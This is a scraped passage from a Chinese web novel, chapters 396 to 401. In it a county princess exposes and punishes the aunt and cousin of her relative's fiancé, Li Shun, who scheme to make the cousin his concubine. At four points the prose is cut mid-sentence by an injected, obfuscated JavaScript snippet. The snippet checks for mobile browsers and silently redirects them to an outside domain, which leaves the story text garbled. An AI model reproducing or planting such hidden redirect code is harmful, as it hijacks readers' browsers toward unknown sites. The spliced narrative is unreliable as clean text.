“你说这王若兰到底是上辈子修了多大的福气呀,她自己头三胎都是儿子,最后一胎生个女儿,愣是儿女双全了。 你再瞧瞧她娶进门的这几个儿媳妇,家世好就不说了,大儿媳生下长孙,这二儿媳又生了个孙子。啧,他们许家这是拜的哪座庙呀,改天我也得去拜拜。” 于氏笑骂道:“又在说什么浑话!你拜什么?你家四郎成亲了吗?” 小林氏撇嘴:“快了。不过我倒是不急,以前我瞧着四郎的未婚妻也还行,可是现在嘛,越看越不满意。” 于氏吃了口茶,慢声道:“你那是因为有许昭昭这个侄媳妇做对比,所以才会不满意。行了,都定下亲事了,你就少生些事端。再说你看看我的两个儿媳,不也就是寻常妇人,你以为个个都和昭昭一样是点金手呢?” 小林氏可不承认自己是羡慕许昭昭有钱。 “我才不羡慕许昭昭呢,我就是觉得安信侯府娶的新妇,一个比一个有福气。尤其是这二郎三郎,自打定了亲,不是升官就是封爵的。我是觉得她们旺夫!” 于氏眼中闪过一抹诧异,她竟是有这等想法? 可她的想法与小林氏不同,她恰恰以为许家几位公子能得陛下看重,应该都是沾了许昭昭的福气。 要不怎么就许昭昭能得封一个有实封的县主呢? 第396章 一对母女 许昭昭这边还没高兴多久,许柱子又过来了。 “有事?” 许柱子左右看一眼,许昭昭便只留下芍药和海棠在这里伺候,余下人都退出去。 “禀主子,小的刚刚查到一件事,不知是否与谢七姑娘的婚事有碍,所以特来禀报。” “说仔细了。” “是,小的今日派出去的人过来禀报,说是昨儿后晌,李家住进去了一对母女,而且那母女二人身上还有孝在身,小的已经查清楚了,那对母女是李顺大人的姨母和表妹,说是家中遭逢巨变,特来投奔的。” “可查清楚祖籍何处了?” “回主子,这位钱夫人,哦,就是李顺大人的姨母,嫁的是蓝田县钱家,只得一女。钱老爷先前纳了几房妾室和通房,但一直没能再得一儿半女,所以便有意过继族中子弟,但是还未曾来得及操办,这钱老爷就先没了。 钱夫人和其女钱盼儿办完丧事之后,声称家中财产遭到族中亲人惦记。这钱夫人也有几分手段,早在钱老爷病重时,便变卖了部分家产,直接存入了大兴银号。 后来其夫亡故,钱夫人便将李顺大人视为其依靠,多次在钱氏族人前提及自己有一位做官的外甥,所以,钱家人一直不敢太造次,钱夫人也便借着这个机会,带上田契房契等直接到长安县来投奔李大人,想请李大人为其做主。” 许昭昭听完了事情的脉络,倒是觉得这位钱夫人厉害,能在群狼环伺中保下家产,可见是相当有手段的。 “她们母女若是想要找位靠山,只需来信请李顺前去蓝田县便是,何故要带孝来投奔?” 带着一身重孝,是最忌讳住到亲戚朋友家的。 这是大不吉。 更何况李顺的母亲周氏原本就有几分病态,这钱夫人母女做事,明显是欠缺考虑。 难不成,是故意的? “回主子,小的也正是考虑到这一点后,觉得不妥,才特意来禀报,而且今年秋后七姑娘就要办婚事的。这李家现在住进去一对带有重孝的母女,着实不吉。” 许昭昭拧眉,看来,还得先弄明白这对母女的来意,同时,也得试探出李顺的态度才好。 李顺是家中长子,而周氏性格温和,应该不会强制要求李顺做什么,但是,事怕万一呀。 “柱子,你明日带人亲自去一趟李家,就说是要量一下新房的尺寸。” “是,主子。” 女方要备的嫁妆可太多了。 从床、柜、橱、妆台等等,大小不一,所以婚前,自然会有女方的人到男方家里丈量一下尺寸,这是再合理不过之事。 借此机会,看看到底是怎么回事。 许昭昭授意许柱子收买一下李家的下人,能打听到多少消息,就打听多少。 两日后,许柱子来禀报。 “那位钱夫人明面儿上说是钱氏族人图谋钱家家产,所以想请李大人前往蓝田县帮着镇一镇场子。但是小的私底下打听过,这钱夫人有意将钱盼儿许给李大人,但得知李大人早已定下婚事,且还是国公府的小姐之后,便生出了想要让钱盼儿入李家为妾的想法。” 许昭昭脸色立马变了:“此事当真?” “回主子,错不了。这是在李夫人跟前伺候的一位小丫头说的。毕竟钱盼儿还是个小姑娘,所以当时是避着她的,但是小人觉得,此事钱盼儿应该是知情的。” “岂有此理!” 许昭昭大为恼火。 前脚才跟谢家的姑娘定了亲事,后脚就想着抬妾? 这简直就是不将谢家放在眼里! 但此事,他们并无证据,而且这消息是收买李家下人得来的,不能拿到明面儿上说话。 “钱夫人母女身边可带有下人?” “带了,带着一位婆子和一位伶俐的小丫头。” “嗯,既然如此,那就好办了。” 许昭昭让许柱子稍等,不一会儿,自己拿出来一个瓶子,然后交给他。 “你们明日再去李府,到时候便这般……” 许柱子听完之后,眼睛都亮了。 他家主子也太厉害了! 如此一来,便等于是有了证据,到时候就算是要找李顺问罪,那也是光明正大且理所当然的! “另外,你再派人去一趟蓝田县,好好打听一下这位钱老爷家到底是怎么回事,若是当真早已与族中长辈商议好的过继人选,那便看看对方的人品如何。另外,也查一下这位钱盼儿在蓝田县是否定下亲事了。” “是,主子,小的一定办好。” 许昭昭看他这脸上的表情不太对,把人叫住:“你这眉眼间俱是喜气,不对呀!” 许柱子愣一下后,嘿嘿一笑:“禀主子,丁香前些日子查出来有喜了,只是日子尚浅,家里人不让说,但是小的忍不住,还是让您看出来了。” 许昭昭挑眉,这小子可以呀! 丁香才嫁过去几个月,这么快就有喜了? 还真地是厉害! “不许对外传,那指的是外人,丁香与我一同长大,怎么能算是外人!此事你办得不对,该罚!” “是是是,主子说的对,小的认罚。” 许柱子心里头乐开了花呀。 小姐这是真没拿丁香当外人。 “芍药!” 芍药立马屈膝:“主子,奴婢在。” “我记得有一对石榴包银丝珠钗,这个吉利,你去取来,让柱子给丁香带回去。” “是,奴婢立马去找。” 许柱子连忙跪下谢恩。 “谢主子赏!等丁香的胎相稳当了,小的一定带她过来给主子请安,再向主子谢恩。” “快起来吧,这是喜事。你可要跟丁香说,让她好好养胎,待回头生下小宝宝,无论男女,我这里都有重赏。” “是,主子。” 许柱子知道许昭昭有的是钱,所以在打赏方面是从来都很大方的。 而且他也知道主子不喜欢那等表里不一之人,所以每回赏赐,他都是痛快地接下,然后再磕头谢恩,好好办差就是对主子最大的回报。 “对了,你现在住的地方怎么样?一应的吃用可还方便?丁香现在有了身孕,可不能再让她累着了。” “您放心,小的已经将我娘接过来了,现在有她帮忙照顾,好着呢!” 第397章 想好了再说 许昭昭对于许柱子的安排还是很满意的,而且她不用问也知道,许柱子家里头应该也有两三个佣人使唤,毕竟他对外也是位出了名的管事呢。 “芍药,你去将于嬷嬷叫过来。” “是,主子。” 于嬷嬷是许昭昭的奶娘,一直都是颇受器重。 “小姐,您有什么吩咐?” 许昭昭笑道:“于嬷嬷,丁香有喜了,虽然柱子说让他娘也过去照顾了,但我还是不放心,一会儿你带上两个机灵些的小丫头一道去看看丁香。再去库房里挑些孕妇能吃的补品给丁香送去。” “是,奴婢这就去安排。” 这个时候,许柱子已经离开锦绣园了。 于嬷嬷带着两个十岁左右的小丫头过去,其实就知道这是要留下来照顾丁香的,跑个腿儿啥的,做起来没问题。 晚上,许昭昭用过晚膳之后,于嬷嬷才过来回话。 “见到丁香了?” “回小姐,奴婢见到了,丁香的婆婆也在呢,除了她之外,院子里还有一个帮着浆洗的老妈子,奴婢按您的吩咐,将一些补品送过去,留下一个跑腿的小丫头听差。” 许昭昭点头:“丁香可有说什么?” “丁香原本还想着往咱们国公府的方向磕头呢,被奴婢给拦了。原本是给她备了两个小丫头,可是她死活不收,最后只能留下一个。” “也好,她自己拐不过这个弯来,由着她吧。” 李顺一大早去上值,可是一直都有些心不在焉,眼皮一直在跳,总觉得要出事。 果然,没等到晌午呢,家里就派小厮来寻他,说是家里出事了。 李顺心里咯噔一下子,一路上没少问。 小厮说的颠三倒四,但李顺大概听明白了。 还没到家呢,李顺的脸就先黑下来了。 果然,一到家,就看到院子里两方人在对峙,而其母周氏正在一个婆子的搀扶下来回劝。 “住口!” 李顺一出声,院子里的确是安静下来了。 但钱夫人母女俩怕他,许柱子可不怕。 “哟,李大人回来了。正好,也省得我们再去跑一趟了。李大人还是好好想一想,如何给国公府一个交待吧。” 钱夫人心虚地退后两步,但是她手底下的一位婆子却是不甘示弱。 “你在说什么胡话!我们家姑娘也是正经的清白人家,而且还与李大人是青梅竹马,打小的情谊在。你们家姑娘出来横插一杠子,现在竟然还敢来羞辱我们姑娘,简直就是欺人太甚!” 许柱子没有跟她再斗嘴,而是一直目光定定地看着李顺。 “李大人,小人今日是奉命过来量屋子以及院子的尺寸的。县主正在为七姑娘备嫁妆,而且您和国公府的七小姐可是定了亲事,连婚期都已经定下的。现在却让一对带有重孝的母女登门小住,岂非是大不吉?” 李顺心里咯噔一下子,的确是没想到这一层。 姨母和表妹一身热孝,这的确不妥。 而国公府那样的人家,岂能不在乎这些? “许管事勿恼,此事的确是我疏忽了。原本是因为姨母和表妹在老家受了委屈,所以才容留一二,今日闹出事端来,是我思虑不周,还望许管事息怒。” 别看李顺是个从七品,但是在许柱子跟前,也得说好话。 谁让人家的主子是正二品县主呢? “不敢当。李大人,若只是收留这对母女也便罢了,可是今日我们不曾招惹府上任何一人,这两个恶仆便过来对我们指指点点,甚至还污蔑谢七小姐的声誉,李大人,兹事体大,你还是想想如何向县主解释吧!” 许柱子话落,脸一沉:“李大人也算是清名在外,今日我给您一个面子,此事只是暂禀至县主,至于县主是否动怒,就看李大人如何补救了。” 许柱子带着一众人就此离去,而李母此时也终于支撑不住,身子一歪,晕倒了。 李顺连忙让人去请大夫,之后又是一番安置,当然,这中间也没少询问今日事宜。 得知许柱子并未撒谎,的确是钱家恶仆先登门挑衅,且句句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15566630|164271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中伤谢七小姐,李顺自然是不乐意了。 钱夫人带着女儿已经回到自己的住处,不敢再出门。 而李母终究是心慈手软,又念及血脉亲情,少不得向着钱夫人说几句好话。 “母亲糊涂!我与七小姐的婚事已经定下,而且过了明路,您为何还要将表妹掺和进来?再说了,她们母女如今是热孝,岂可一直在此小住?身为女儿,其父亡故,不思守孝避世,竟然还敢出来招摇,简直就是胡闹!” 李顺原本想说的话更难听,但思及母亲的情面,到嘴边时,这才转了音。 李母也知道,此事的确是她的妹妹做错了,无论如何,哪能在正经的亲家面前提及什么青梅竹马? 此事若传出去了,那李顺又成什么人了? 无情无义的小人? “儿啊,今日将那位许管事得罪了,可如何是好?” “此事儿子自去想法子,上门请罪是少不了的。母亲,您还是保重自己的身体,至于姨母和表妹,让她们赶紧回到蓝田县去吧。” 李母面上有些忧虑,略有几分不甘:“可是你姨父亡故,她们母女俩再被钱家欺负,这可如何度日?” “这有何难?我自会安排人送她们回去,不必担忧。” 李顺好歹也是官身,有他派去的人撑腰,谁敢欺负钱夫人母女? 李母想到钱家虽然小富,但毕竟只是普通人家,整个钱氏家族里也没有一个当官的,所以应该问题不大。 李顺匆忙换了身衣服,然后又命人备上一份重礼,亲自去护国公府请罪。 此事原本就在许昭昭计划之内,所以见到李顺前来,她表现得十分淡定。 “今日之事,是家中奴仆多有得罪,还请县主海函。” 许昭昭呵了一声,带着十分明显的嘲讽意味。 李顺心也跟着被揪起,这位县主可不是好惹的。 “李顺,我再给你一次机会,想好了再说。” 李顺眼珠子转得飞快,想到事情始末后,便知道县主在意的点在何处了。 第398章 拎不清的李母 李顺明白之后,便再次作揖。 “回县主,一切都是下官思虑不周。今日之事,原是我那姨母身边的恶仆惹事,我已训斥过她们,还请县主宽宥一二。” “这就是你的态度?” 许昭昭的声音很冷,如今谢铮不在,许昭昭坐在院内的六角亭中,而李顺,竟然是连进入六角亭的资格都没有,如今是站在下面回话的。 李顺一时间有些无措,不知当如何回答,更不知道县主这究竟是什么意思。 此时在亭外候着的林嬷嬷适时道:“李大人,钱夫人以及钱姑娘羞辱我们国公府七小姐,你就只是一句轻飘飘地宽宥便无事了?再说,这对母女一身热孝,住在李府,您竟没有觉得不妥?” 李顺得了林嬷嬷提醒,连忙补救:“县主容禀,下官出来前,已经吩咐下人为她们二人收拾,很快便将他们送回蓝田县。至于那两个出言不逊的恶仆,待回到蓝田县后,下官的人会亲眼盯着她们被掌嘴处置。” 这也是李顺想要在许昭昭这里讨个面子。 不能真地就让人肿着脸回去吧? “天黑之前,钱家母女二人必须离开京城,李顺,我希望你能记住我的话,不要真地惹怒我。” “是,下官明白。今日之事,还请县主宽宥,也请暂时莫要告诉七小姐,此事皆为我李家之过,待回头,定然再备一份重礼向七小姐赔罪。” 许昭昭要的自然不是什么赔礼,而是李顺的一个态度。 她也需要借助这件事知道,李顺在李家究竟是个什么分量。 李顺回到家中,整个人都有几分萎靡,一身里衣早已被冷汗打湿。 他刚进家门,就被李母请过去说话。 钱夫人和钱盼儿都没在。 李母拉住儿子的手,面带哀求:“儿啊,你姨母如今新寡,她也不易呀。看在母亲的份儿上,你再多容她两日,待她回头在京中寻了宅院,再搬出去即可,如何?” 李顺脑子里快速闪过安乐县主的话,他可是记得清清楚楚,县主是让她们母女离开京城,可不是搬出李府。 “不行!母亲,此事你莫要再说了。我刚刚才从国公府回来,您若是觉得儿子的官运太顺畅了,那便随意,大不了,儿子带着您归乡种地便是!” 李顺此言一出,李母只觉得天都要塌了。 “儿啊,当真没有商量的余地了吗?” “母亲,儿子在国子监还有差事要办,此事没有什么好商量的。不仅要将她们送回去,那对恶仆也要严惩!” 李顺甩袖而去。 行至前院,他便将管家以及几位家仆都叫过来,让他们今日无论如何都要将钱夫人母女送走。 “现在还不到午时,时间上还来得及。你们一定要将她们母女安全地送至蓝田县钱宅,之后还要当众责罚那对恶仆。” “是,大公子。” 自打李顺的父亲故去后,李顺便成了这李府的男主子,原本当称呼为老爷的,但是李顺觉得不妥,主要是怕母亲思及亡父而伤心,所以一直没改。 至于李顺的弟弟,因为常年不在家中,所以偶尔回来,还是被称呼为二公子。 李顺前脚进了国子监的大门,钱夫人带着女儿就到了李母这里哭诉。 “姐姐呀!我也是没有办法了啊,真要是这么回去,我们母女二人怕是就要没命了。” 钱盼儿也只是缩在角落里哭,那低声啜泣的模样,当真是惹人生怜。 “姐姐,你我二人好歹一母同胞。这么多年,妹妹我从未求过你什么呀,难道您就忍心看着我们母女俩被钱家人给生吞活剥了?那些家产我们可以不要,但不能连命都丢了呀!” 李母看着妹妹哭得这般可怜,又怎么可能无动于衷? 只是家中之事,理应由李顺做主。 她只是一介妇人,以前老爷在世时,都是老爷做主,如今老爷亡故,长子顶起门户,自然也该由长子作主才是。 可是她看到妹妹和外甥女这般戚惨,自然又忍不住有几分心疼。 钱夫人看出来姐姐对她的在意,便又卖力哭道:“姐姐,您可是这家中的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15573460|164271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女主人呀!如今我那外甥媳妇都不曾进门,便能对李家的事情吆五喝六,日后进了门,哪里还有你说话的份儿?” 这话也算是说到李母的心坎里去了。 再怎么说,她也是婆母。 那个谢娟就算是护国公府的姑娘又如何? 不过是一介庶出,听说其生母也不过是国公夫人娘家的一个落魄旁支而已,听说其生母也是一个庶出,如今能嫁给自己的儿子为妻,当是她的福气才是,怎么还能先来插手李府的家务事了? 此时李母的心,显然已经偏了。 对于高门大户而言,是十分注重一些规矩以及习俗的。 比如说今年成亲,而府上住进去一对热孝的母女,这本就是忌讳,可李母竟然不觉得有错! 这就离谱! 其实不是李母觉得没错,而是因为住进来的是她的妹妹和外甥女,这才觉得是理所当然的。 若是换成了别人家,那李母定然就不是这样的想法了。 钱夫人母女二人好一番哭诉委屈,李母也渐渐地被她们给劝动,也觉得谢家未免管得太多了。 姑娘还没进门呢,就敢这般狂妄,那日后新娘子嫁进来了,岂非是要连她的主都做了? 这怎么可以! 李母一脸硬气道:“妹妹快别哭了。家中父母早已不在,你出了事来投奔我,本就是我这个当姐姐的责任。此事有我给你撑腰。不必怕!” 因为李母的坚持,所以外面的管家以及几位仆从们一直没能等到钱夫人母女收拾行装出来,眼看着天色不早,管家无奈,只得派人去国子监禀报大公子。 可谁知,李母却命人将大门紧闭,任何人不得出去。 “你们是连我的话都不听了?我告诉你们,若是胆敢有一人去给大公子通风报信,我便一刀抹了脖子了事!” 啧! 管家自然被吓坏了。 一府主母,拿**来吓唬人,谁敢再乱动一下? 就这样,钱夫人母女,安安稳稳地又回自己住处吃茶了。 第399章 难以置信的后果 李家的种种,许昭昭自然是早就收到消息了。 许柱子还有几分急切呢。 “主子,小的这就派人去通知李大人?” 许昭昭则是慢悠悠道:“不必!就让她们几个人先得意吧。正好,我也借此机会给李顺上一课。我谢家的姑娘还没嫁过去呢,李家就敢如此不敬,不给他们个教训,是不会知道什么叫疼,什么叫后果的!” 许柱子不明白主子的真正用意,但是既然主子这么说了,那定是有深意的,所以,他就负责听差办事,其它的,多一字不问。 李顺后晌下衙后归家,这才发现管家竟然还在! 这不对呀。 按正常的脚程,他们可以到达蓝田县,却不可能现在就回来的。 李顺心头升起不好的预感,果然,一进堂屋,便先看到了那对笑语宴宴的母女。 李顺这一瞬间,只觉得头皮发麻,他似乎是能看到自己被县主整治的下场了。 一瞬间,李顺竟然有些站不住,身子晃悠两下后,这才由下人扶着坐下。 李母并不觉得这有什么,反而还招呼着下人摆膳,同时还不忘提两句妹妹爱吃什么,外甥女爱吃什么等等。 李顺此时心中有火,都不知道该往何处发了。 看着眼前这相处和睦的三个女人,他竟然有一种自己即将要被雷霆击中的错觉,一口未食,直接回去了。 李母见儿子如此,只以为是他服软了,心中不免暗喜。 钱夫人也在一旁敲着边鼓:“姐姐果然是一家之主,我瞧着大外甥虽然有些难以接受,但也不曾动怒,更不曾埋怨您一句,可见这大外甥的教养是极好的。” 夸教养,不就是在夸李母吗? 李母听到这话,自然是飘飘然起来。 而且钱夫人和钱盼儿敢如此,也只是因为她们打听到谢娟只是国公府的一介庶女,听闻在府上也不甚得宠,所以她们才敢这样试一试。 说白了,这对母女就是在不停地试探着李顺的底限。 钱盼儿如今虽是热孝,但是在大兴,有一种热孝期间可成亲的说法。 说是这亡魂在七七之后,才会归入地府。 这热孝期间成婚,就是为了安抚亡魂,好让对方亲眼看到,自己记挂的亲人已经有良人相伴,不必牵挂。 当然,热孝期间可以成婚,却不可以洞房,这是规矩。 说白了,成婚是做给**看的,不洞房是因为要守孝。 听起来感觉很割裂,但就是有这样的一种说法。 但是实际上,真正在热孝期间成婚者,可以说是少之又少,有些州县,甚至十几二十年也不曾听闻一例。 而对于高门世家来说,真要是出了这等事,那必然也是利益相关,绝非是什么给安抚亡魂的说法。 钱夫人如今打的就是这个主意。 只要女儿还在这里住,那么,就一定有机会赖上李顺。 至于李顺动不动心,钱夫人压根儿就没考虑过这种可能性。 毕竟,她自认女儿生得漂亮,男人又向来好色,大美人摆在眼前了,岂有不伸手之理? 可她显然是不曾接触过真正的权贵,所以,压根儿就不懂,权贵人家一旦出手,要的可能就不只是你的命,还有你家族的整个命脉! 李顺这一晚都是神不守舍,睡不安稳,次日是顶着两个青眼眶去国子监的。 “你说什么?”李顺一脸难以置信。 上官叹气道:“李主簿,这是上面下的命令,你还是先回去自省吧。虽说不是什么大错,但既然上面的大人特意将此事点出来了,那就表明了态度。至于你何时能复职,是否还能复职,还得你自己去谋划啊。” 若非是看着李顺不易,这位上官也不会说这么多。 李顺失魂落魄地回到李府。 这一路上,他都在想着昨日县主的那几句话。 可笑呐! 他还以为县主不过一女子,就算是有钱财傍身,又如何能撼动朝廷官员? 没想到,一夜之间,他未能按照县主的吩咐做事,惩罚便来了。 现在还只是让他停职自省,若是自己还不能体会县 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15573461|164271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主的用意,那后面紧接着应该就是革职查办了吧? 李顺苦笑一声,此时,他才真切地意识到,自己和国公府,不对,是自己和那位看似温柔平淡的县主之间,简直就是天差地别呀! 李顺站在门口,看着上面的‘李府’二字,久久不能平静。 因为他是官身,所以才能用这个府字。 一旦他没了官身,又无功名,那么,这里就只能换成李宅二字! 一字之差,便是身份地位的巨大落差呀。 李顺深吸一口气,好一会儿,才在小厮的提醒下入内。 想到自己的前程,想到阖府的将来,李顺不得不挺直脊背,彻底硬实起来。 “来人,即刻将偏院的钱夫人以及钱姑娘请出来,然后派两名仆妇跟着一起收拾行装,即刻送她们回蓝田县。” “是,大公子。” 现在这个时辰,大公子该在国子监当值才是,这会儿突然回来了,只怕是真出大事了。 管家这边即刻去吩咐。 那边还在陪着李母说话的钱夫人以及钱盼儿,尚未意识到事情的严重性,竟是身戴热孝,还敢言语放肆! 李顺的突然出现,让屋内空气停滞片刻。 钱夫人反应迅速,连忙起身:“是大外甥回来了,可是忘了什么东西要拿?” 李母也反应过来儿子该当值的,也问道:“你这孩子,竟然这般粗心大意,忘了何物?快让小厮去取。” 钱盼儿则是眼神羞怯地抛过去一个媚眼,可惜,李顺没收到。 “来人,带她们出去。” “是,大公子。” 两名健妇进来,一人拖着一个就往外走,也顾不得什么请不请,礼不礼的了。 主要是下人们都看出来大公子发火了,谁敢再过来试探一二? 李母一看这情势不对,立马怒斥:“放肆!顺儿,你这是何意?那是你姨母!” 李顺却是冷着脸,一言不发,衣袖一挥,桌上的茶盏碗碟尽数掉落地面,清脆的碎裂声,将李母给吓得半天没敢动一下。 第400章 所犯何错? 李母还没有反应过来,那边就已经开始有人架着钱夫人和钱盼儿上牛车了。 这牛车还是租来的。 李府有马车,但平时李顺都舍不得用,又怎么会舍得给这对母女用? “管家,即刻动身,别忘了我之前说过的,到钱宅后,要将那对恶仆严惩,每人掌嘴三十,少一下都不行!” “是,大公子。” 等到李母跌跌撞撞地从屋里出来后,只来得及看到钱夫人和钱盼儿二人被架上牛车,开始往外走了。 李母还要再去拦一拦,一旁的李顺幽幽道:“母亲若是觉得儿子不必再穿这身官服了,尽管去!” 一句话,硬控李母好半天。 “你,你说什么?” 李顺将官帽脱下,表情呆滞:“如您所见,我已经被停职自省,没必要再去国子监当值了。” 李母没想到会是这么一个结果,一时间接受无能,身子一晃,险些晕过去。 李顺也没理会她,独自一人去了书房。 整个李府,鬼哭狼嚎,但时间不长,便彻底地安静下来了。 李母没想到会这样,她被婆子扶着回到屋内,还一脸的难以置信。 “怎会如此?怎会如此呀!” 李母话落,便开始放声大哭,还不忘了拍着自己的大腿,好似多委屈一般。 先前一直忍着没敢插嘴的婆子此时才出声道:“夫人先别着急,还是想想如何让国公府的怒火消下去吧。” 李母一怔:“国公府?” 婆子的眼神里就差直接把‘鄙夷’二字给表现出来了。 “夫人,这还不明显吗?” 李母的确是开始认真思索这件事情到底是如何发生的了。 但问题是,她一介妇人,对于外面的情况能知道多少? 那对于朝堂上的一些事,就更是一问三不知了。 她并非是官家女出身,只是因为嫁给了老爷,所以后来才成了官夫人,但也只是小官的夫人,所以压根儿就不能理解,一个异姓县主,到底是有多大的权势。 而且,她一直以为嫡庶有别,国公府的谢娟出身门第再高,那也只是一个庶女,哪有自己的儿子这个嫡出的身份尊贵? 但她显然是没弄明白,嫡庶之别的前提,你得是同一个水平线上呀! 你总不能说,皇家的庶出皇子,也比不上你儿子这个嫡出的身份吧? 其实李母身边的婆子也不明白,人家国公府的小姐嫁过来,那就等于是低嫁了,你一个普通的小官之家,怎么还敢瞧不起人家呢? 这是哪儿来的自信呀! 要说以前李母也没有这些想法,说到底,就是这两天被钱夫人给洗脑了。 真以为自己是个长辈,以后不管是什么人嫁过来都是自己儿媳,都得敬着自己哄着自己了。 李顺在书房,整个人都颓废不已。 他原本就不是走科举上来的,而且当初父亲的官职也并不高,且李氏家族虽然听起来很威风,但是于文官一途上可以说是人脉寥寥。 事到如今,难道要他去求堂伯父? 李顺叹口气,虽然是有一位大将军的伯父,但毕竟只是伯父,也不知道母亲为何总以为那谢七姑娘高攀了自己。 现在弄成这样,如何是好? 李顺没有气馁太久,他自己中午饱餐一通,再躺到床上睡够了之后,又亲自去库房里挑了几样东西。 李母中间曾试图过来劝他,但被李顺给拒之门外了。 他倒不是怨恨母亲,只是觉得自己需要静一静,好好想办法挽回这一切。 今天才刚刚让停职,而且下午拜访不合时宜,所以他计划明日再登门道歉。 晚上,李顺的弟弟也回来了。 李二郎虽然年幼,但也是知事的年纪了,大概明白事情的始末后,自然就知道这错在母亲,而非谢家。 但是兄长身上也有错。 若是当初他亲自盯着那对母女离开,兴许就不会有事了。 次日一早,李顺看着母亲明显憔悴的脸庞,迁怒的话自然是说不出来的。 “我一会儿要去国公府,此事应该是县主授意的,我得先找县主赔罪认错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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李顺再次站在了上回站的位置,许昭昭仍然端坐于六角亭内,整个人气质超然,如何看,都与那等心思深沉的词语扯不上关系。 李顺作揖道歉之后,便奉上了赔礼。 许昭昭的视线并未在那些东西上停留,而是淡淡问:“你说自己知错了,那你可知自己所犯何错?” 第401章 来自许昭昭的压迫感 一句话,把李顺问懵了。 约莫两息之后,李顺才深吸一口气,低头回道:“下官未曾完成对县主的许诺,此错一也;下官未能约束家中内眷,此错二也。” 这个回答,还算是中肯。 但是许昭昭并不满意。 “海棠,请李大人进亭内说话。” “是,主子。” 李顺自然也听到了,小心翼翼地往上面一瞄,还是进了亭子,然后在许昭昭的示意下,坐在了下首,但没敢坐得太实。 主要是心里头害怕呀! 对于权势的畏惧,那是刻在骨子里的。 关键他见过几次安乐县主,这位在之前表现得一直都是很端庄大气的,而且现在坐在这里,也始终未曾瞥见一丝怒火,但就是让人不自觉地将心脏提到了嗓子眼儿。 前一次与安乐县主离得这么近时,旁边还坐着一位中郎将呢,这一次,没有了那位世子爷,怎么反而觉得压力更大呢? 是自己的错觉吗? 李顺觉得自己好像是走入了一个误区,但是又说不上来到底是哪里误了。 “李大人,你刚刚所言,还算是可勉强入耳。但你最大的错,在于内宅不宁。我知你母亲慈悲宽和,但你记清楚一点,慈悲,便是心软;宽和,是行事没有规矩。家中内宅虽然平时太平,但是不代表了就可以疏忽大意。” 李顺觉得这番话说得有道理,他母亲的确是耳根子软,心也软。 “县主言之有理,下官回去后,定然会好好与家慈谈谈,不会再做错事。” “李大人,此其一也。” 李顺刚刚松下去的半口气,瞬间又被提起来了。 许昭昭也没有为难他,一抬手,芍药便将几张纸递过去了。 李顺只知其姨父过世,当时他还曾亲往吊唁,但是身负差事,岂能长久在蓝田县逗留? 况且,他也从未想过,姨母竟然能做出这等的大事来。 “这?这,县主从何得来?” “早在这对母女住进你们李家之后,我便派人去查探这对母女的虚实。没教我失望呀,你的这位姨母,当真是好手段。明明是她气**自己的丈夫,可为了能将这钱家家产尽归自己手中,不仅不再按之前的承诺过继嗣子,竟然还敢倒打一耙!” 李顺也没想到,先前姨母和表妹的一番哭哭啼啼,竟然都是装出来的。 所以,钱氏族人并不曾欺辱于她们母女,反而是姨母不愿意再完成承诺,所以才会歪曲事实,故意将罪名扣到整个钱氏族人的头上! 这才是真正的欺人太甚! “小周氏,哦,也就是你的这位姨母倒是打得一手好算盘呀。她想着将钱氏家产尽数变现,之后自己带着女儿到京城来投奔你,若是她的女儿能成为你的娇妻,自然是最好,成不了,那也得混个良妾当当,如此一来,她在京城便等于是有了仗势,还会再怕钱氏族人逼她交出家产吗?” 大兴律,若是家中无子,可立女户,若是无子无女,可过继嗣子,若无嗣子,那么便要由其族人来主持家产分配。 除非是族人做得太过,一般而言,不会惊动官府。 而小周氏的做法,显然是触及了钱氏族人的底限! 家产都是已逝的钱老爷挣来的,这没毛病。 而且目前来看,钱氏族中长辈也并没有霸占其家产的想法,只是想着按先前钱老爷的遗愿,将那个孤儿过继,从而承嗣钱家香火。 所谓的孤儿,其实也是钱家人,名钱耀祖,据说这名字还是钱老爷给起的,只是因为其父母早亡,所以等于是吃百家饭长大的。 且多年前,钱耀祖便一直跟在钱老爷身边做事,一直稳当,对钱老爷也颇为孝顺,族里长辈们商议后,才有了这么一个决定,而且钱老爷本人是同意的,已立下了过继文书。 可没想到,仪式还没办呢,钱老爷先**。 此事,便就此搁置。 而钱夫人,也就是小周氏,竟是大骂钱氏长辈们丧良心,说都是他们逼着钱老爷过继,所以才会害得老爷心疾突发而亡。

